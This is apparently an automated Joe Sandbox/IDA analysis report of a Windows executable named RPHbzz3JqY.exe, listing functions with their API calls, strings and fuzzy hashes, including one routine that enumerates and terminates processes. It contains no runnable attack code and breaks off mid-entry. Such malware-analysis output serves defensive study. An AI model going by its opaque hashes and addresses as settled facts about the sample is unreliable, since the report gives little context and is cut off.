Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CloseHandle$CreateProcess
String ID: D
API String ID: 2922976086-2746444292
Opcode ID: c89bfbc05a533cefb44b05c714eb175de6b28b992c5a4d01b4cb6e4e6e4d76c1
Instruction ID: 044741e4da620c9fc33eb5838826336705129741b9c690e0da8ea529b236e91f
Opcode Fuzzy Hash: c89bfbc05a533cefb44b05c714eb175de6b28b992c5a4d01b4cb6e4e6e4d76c1
Instruction Fuzzy Hash: 5A319E32E1021D9BDB20CF98CD45BEEBB76BF99314F24561AE50577284E7B06980CBA0

Function 0060C914 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0060C9E4
_free.LIBCMT ref: 0060CA0D
SetEndOfFile.KERNEL32(00000000,0060ACFD,00000000,0060AF94,?,?,?,?,?,?,?,0060ACFD,0060AF94,00000000), ref: 0060CA3F
GetLastError.KERNEL32(?,?,?,?,?,?,?,0060ACFD,0060AF94,00000000,?,?,?,?,00000000), ref: 0060CA5B

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 9b60cce1e5e38ce49f53287086fc94a5ab30037d61fb019df1c686e35a04b3ba
Instruction ID: 17303b2194ffeeba7f3e1d4e134954213bcaaec7aded57b5ecd79a4a654e7a47
Opcode Fuzzy Hash: 9b60cce1e5e38ce49f53287086fc94a5ab30037d61fb019df1c686e35a04b3ba
Instruction Fuzzy Hash: EF41E872A806099BDB19ABB8CD4ABAF3B6AFF84370F140614F514E72E1EA34CD414761

Function 00604496 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 005F93E4: _free.LIBCMT ref: 005F93F2

Part of subcall function 0060408B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,00601A10,?,00000000,00000000), ref: 00604137

GetLastError.KERNEL32 ref: 006044FE
__dosmaperr.LIBCMT ref: 00604505
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00604544
__dosmaperr.LIBCMT ref: 0060454B

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: d81cf207b2ac5ec23d0aa5b9f454a8893a2bd19978c41c2f8159d4260eb3139c
Instruction ID: 135ebc082075c99dbb8ce3ac0cad1bdab9bf673b1d9ca00bb1ed48c7276dd303
Opcode Fuzzy Hash: d81cf207b2ac5ec23d0aa5b9f454a8893a2bd19978c41c2f8159d4260eb3139c
Instruction Fuzzy Hash: 7321B2F1640609AFDB35AF658C809BBB7AEFE443647104519FA25972C1EF70EC0087A0

Function 005FCA90 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
_free.LIBCMT ref: 005FCAF2
_free.LIBCMT ref: 005FCB28
SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 0356c869eb3808505d8201e15eca3e9fb6b2957e3536b54cdfeaaa7db46849da
Instruction ID: 7271bbdafede5cecc3eaccbc290daeacdda986948000be015ffad5bf3e86bece
Opcode Fuzzy Hash: 0356c869eb3808505d8201e15eca3e9fb6b2957e3536b54cdfeaaa7db46849da
Instruction Fuzzy Hash: 3611297224460E7AD71267759E8BD7B2E2BFBC13B072C0B35F764921D2DD6D8C018121

Function 005FCBE7 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,005F8B2B,006009C0,?,?,005F18D8,?,?,?,?,?,005D11E3,?,?), ref: 005FCBEC
_free.LIBCMT ref: 005FCC49
_free.LIBCMT ref: 005FCC7F
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,005F18D8,?,?,?,?,?,005D11E3,?,?), ref: 005FCC8A

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 2444f3fa51ea211d91ed8f7aeef7e0a1ccc3847773dcd0feaac307b3d8df93ad
Instruction ID: ce45aacd8d2be4dac93facfab59c017ee68eb32242922d9429f81919c8886692
Opcode Fuzzy Hash: 2444f3fa51ea211d91ed8f7aeef7e0a1ccc3847773dcd0feaac307b3d8df93ad
Instruction Fuzzy Hash: 8211007120450D7AD71127769E8AD3B3E5BFBC27B07280A35F33C831D2DD298C015121

Function 005D1330 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32(?,00001000,?), ref: 005D134D
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 005D1397
TerminateProcess.KERNEL32(00000000,00000000), ref: 005D13A2
CloseHandle.KERNEL32(00000000), ref: 005D13A9

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Process$CloseEnumHandleOpenProcessesTerminate
String ID:
API String ID: 1176117389-0
Opcode ID: 9748d41ae2ff0f38a87fb646dc225f11f5261d662fc1ae80c280a2d254a28d87
Instruction ID: baa0f422620a5c562f1ac2d02bc5a88c5939e8739332f2586ac7fb2024f5ca79
Opcode Fuzzy Hash: 9748d41ae2ff0f38a87fb646dc225f11f5261d662fc1ae80c280a2d254a28d87
Instruction Fuzzy Hash: 1701473260021977EB209AE8EC45FDF379DEB08301F000472FF09C2240EAA1DD404369

Function 0060C4ED Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000010,00000000,00000000,?,00608E52,00000000,00000001,00000000,00000000,?,005FE22D,?,00000010,00000000), ref: 0060C504
GetLastError.KERNEL32(?,00608E52,00000000,00000001,00000000,00000000,?,005FE22D,?,00000010,00000000,?,00000000,?,005FE779,00000010), ref: 0060C510

Part of subcall function 0060C4D6: CloseHandle.KERNEL32(FFFFFFFE,0060C520,?,00608E52,00000000,00000001,00000000,00000000,?,005FE22D,?,00000010,00000000,?,00000000), ref: 0060C4E6

___initconout.LIBCMT ref: 0060C520

Part of subcall function 0060C498: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0060C4C7,00608E3F,00000000,?,005FE22D,?,00000010,00000000,?), ref: 0060C4AB

WriteConsoleW.KERNEL32(00000000,00000000,00000010,00000000,?,00608E52,00000000,00000001,00000000,00000000,?,005FE22D,?,00000010,00000000,?), ref: 0060C535

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 8138b3e5f7ed4224d6308ead09d9b41faea6ab792ffa4799d9e9b2e29c177312
Instruction ID: fde54d58e061b05a5f6ee79a86461653a8ce5b13e519a410a06ece309f0a1f69
Opcode Fuzzy Hash: 8138b3e5f7ed4224d6308ead09d9b41faea6ab792ffa4799d9e9b2e29c177312
Instruction Fuzzy Hash: 58F0AC37580168BBCF262F95EC04ADB3F67FF093B1B059914FA1E95160C67298309B94

Function 005FBC9F Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005FBCA8

Part of subcall function 005FCE37: HeapFree.KERNEL32(00000000,00000000,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?), ref: 005FCE4D
Part of subcall function 005FCE37: GetLastError.KERNEL32(?,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?,?), ref: 005FCE5F

_free.LIBCMT ref: 005FBCBB
_free.LIBCMT ref: 005FBCCC
_free.LIBCMT ref: 005FBCDD

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 59213797d60a23f856efa21cdccb972af46dbec5f72dba2a3026ed9b8142d6dc
Instruction ID: 7e8b748440be66ce3e61c59c47ad2322122c0cb908c4c69c746a8e3b372c5c94
Opcode Fuzzy Hash: 59213797d60a23f856efa21cdccb972af46dbec5f72dba2a3026ed9b8142d6dc
Instruction Fuzzy Hash: 63E04F7140492AABA7222F10BF0A4663E27B7A57903036416F75006232C67511B3DF80

Function 005DEC30 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 206COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 005DEF60

Strings

H, xrefs: 005DED9C
0, xrefs: 005DEE5A

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: 0$H
API String ID: 323602529-1388647558
Opcode ID: 5296f759b5d686c7febd6911476d7bafc31e6643e819bd38d673c8cd0aefa021
Instruction ID: 2669bf2706dae0869e5af551dffe1cb4cc63af6cb84002996a63ddc271f496f6
Opcode Fuzzy Hash: 5296f759b5d686c7febd6911476d7bafc31e6643e819bd38d673c8cd0aefa021
Instruction Fuzzy Hash: FFA14B70A002599FDB24CF58C885BDEBBB5FF49300F1485E9E449AB381DB71AA88CF51

Function 005F910D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 005F919D

Strings

pow, xrefs: 005F9175, 005F9192

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: dbe4cb42b185592ee715eed2bf63ac1f3124a75edf241e356e6a0729265563ee
Instruction ID: e33bb2f186ee6d2a7d7d0a4ce2e3213e7e1a2d4aa2efff8ec0d4065948182768
Opcode Fuzzy Hash: dbe4cb42b185592ee715eed2bf63ac1f3124a75edf241e356e6a0729265563ee
Instruction Fuzzy Hash: 36518D61A4890796CB197714CD057FB3FAAFF40702F248D6EE191423E8EB394ED1DA46

Function 005DFA30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 005DFB90
Concurrency::cancel_current_task.LIBCPMT ref: 005DFB95

Strings

e^, xrefs: 005DFA6D, 005DFA51

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: e^
API String ID: 118556049-2283852391
Opcode ID: 7333919df190098a016cfe7dbdb365896b105da4e3f8f89e44a2f20269ce9e39
Instruction ID: 4d68f9e42f65585c56631ccddd4b415b0d57e0e2d54a27fce4da622bfb3d3f03
Opcode Fuzzy Hash: 7333919df190098a016cfe7dbdb365896b105da4e3f8f89e44a2f20269ce9e39
Instruction Fuzzy Hash: 67417C356007129FD724CF29D490A2ABBE5FF98710B14893FE8DA8B752D731E991CB90

Function 005F99DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\RPHbzz3JqY.exe, xrefs: 005F9A1F, 005F9A26, 005F9A5C

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\RPHbzz3JqY.exe
API String ID: 0-2732183378
Opcode ID: e913d240976a20e3e738c7875e808fa139fe102b7ffa02e9aa06bdea0362e2ae
Instruction ID: 9bf0520eaed447d8e0732ed662cc94ba320d74e1aa5c1972148ad0fbe12931cd
Opcode Fuzzy Hash: e913d240976a20e3e738c7875e808fa139fe102b7ffa02e9aa06bdea0362e2ae
Instruction Fuzzy Hash: CF41A0B1A00A1DAFDB229F99D985ABEBFF9FFC5310B10006AE64497251D7B48E41CB50

Function 005F4072 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 005F4097

Strings

MOC, xrefs: 005F40A9
RCC, xrefs: 005F40B1

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 5096c7c9fe75f529601351cbb6ef95308ea32f17db9f0d7fb12a941b2d186c5b
Instruction ID: bdeb0d41f56e8ebafa6abcac2cd5f4fe51262595c5b2e1c49b2d4ce209ed7c65
Opcode Fuzzy Hash: 5096c7c9fe75f529601351cbb6ef95308ea32f17db9f0d7fb12a941b2d186c5b
Instruction Fuzzy Hash: B141467290020DAFDF15DF98CC85AAEBFB5BF58300F198159FA04A7211D7399AA1DF50

Function 005D2310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 005D23CE

Strings

c4], xrefs: 005D2316, 005D234A, 005D234D
ios_base::failbit set, xrefs: 005D231D

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: c4]$ios_base::failbit set
API String ID: 2659868963-3697889776
Opcode ID: 94ba8d3c9167f167e53a54d618ae3591a7a00002f7c6054525edddad74d3d71d
Instruction ID: 319f2c97b2997026db8ff841ba1f5cf074899524d14783ef2390db26b51dc8f3
Opcode Fuzzy Hash: 94ba8d3c9167f167e53a54d618ae3591a7a00002f7c6054525edddad74d3d71d
Instruction Fuzzy Hash: 6B210472600109ABD718EF5CC885AAEFFADEF85310F10C55BFA4497341E775AE808BA0

Function 00606797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006067DE

Strings

l=a, xrefs: 006067AC

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free
String ID: l=a
API String ID: 269201875-4006736422
Opcode ID: 375742af8de880917483bec6587131f47f741514c068a19653904d8e269ce124
Instruction ID: 42052439f09afeff626dfb29e36c959ba9635da477b5322e4357965dce0da80e
Opcode Fuzzy Hash: 375742af8de880917483bec6587131f47f741514c068a19653904d8e269ce124
Instruction Fuzzy Hash: BFF0C8735883156AE7192A61EC42BE73F9EEF81774F24043EFA0C9A2C3DA61185146F5

Function 005EF7F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005EF7FC
std::_Lockit::~_Lockit.LIBCPMT ref: 005EF857

Strings

@0], xrefs: 005EF821, 005EF83B

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: @0]
API String ID: 593203224-1162301288
Opcode ID: 2d8d7fa8ec9a8b7c7b50c28b8778e920b56d4ed48ec0c5bbfd2b8ea99a4d7e07
Instruction ID: 60355878ce4de900226dd5255e4624c29e4efb74426a2d67503bd7e237ae888a
Opcode Fuzzy Hash: 2d8d7fa8ec9a8b7c7b50c28b8778e920b56d4ed48ec0c5bbfd2b8ea99a4d7e07
Instruction Fuzzy Hash: B1017135600215AFDB09DF15C895E5EBF79FF84750B1404A9E8459B3A1EF71EE40CB90

Function 005D2070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005D2078
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005D20BC

Part of subcall function 005EF860: _Yarn.LIBCPMT ref: 005EF87F
Part of subcall function 005EF860: _Yarn.LIBCPMT ref: 005EF8A3

Strings

bad locale name, xrefs: 005D20CB

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: caae7583464a876da91437bf0d0d3e44bd0a8ad7acf44016b2fb1c82ec646e14
Instruction ID: 5e53f0a18644cce25c4c3b13bc9d9500850f35d6ef74bfa5690bc30fa25d3e14
Opcode Fuzzy Hash: caae7583464a876da91437bf0d0d3e44bd0a8ad7acf44016b2fb1c82ec646e14
Instruction Fuzzy Hash: 23F04971100B808ED3349F7A8409743BEE4AF25310F004A2EE5CAC7A82E775E508CBA5

Function 005F7DDF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0061D3B0,0000000C), ref: 005F7DF2
ExitThread.KERNEL32 ref: 005F7DF9

Strings

@0], xrefs: 005F7E2F

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorExitLastThread
String ID: @0]
API String ID: 1611280651-1162301288
Opcode ID: 09662a7dcd606d962caa9849debef9cc578e101770e74338eba63234599fa8bb
Instruction ID: c4f63b80a8c98a3ae01883856452aa64b41320dbcf8e53d084e8099679db82f0
Opcode Fuzzy Hash: 09662a7dcd606d962caa9849debef9cc578e101770e74338eba63234599fa8bb
Instruction Fuzzy Hash: CCF0A47094061E9FDB10AF70C80EA7E7F75FF85710F240959F2119B291CB795901CBA1

Function 005EF0D3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 005EF11B
___std_exception_destroy.LIBVCRUNTIME ref: 005EF132

Strings

Unknown exception, xrefs: 005EF0D6, 005EF0E6

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Sleep___std_exception_destroy
String ID: Unknown exception
API String ID: 2427919145-410509341
Opcode ID: ce12c876a9f9adfea07bbc0670c194daa27135df30e9fcf7b48569acc498f2e5
Instruction ID: da4415d02617d6e6183bb3f001bbb416f2d0701d32fd06824490e46a1874263c
Opcode Fuzzy Hash: ce12c876a9f9adfea07bbc0670c194daa27135df30e9fcf7b48569acc498f2e5
Instruction Fuzzy Hash: BBF0E0B070022057D70CAB75DC59A3E3AA56BC4700F80005CF54557382EA615E448BB6

Function 005FD4B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

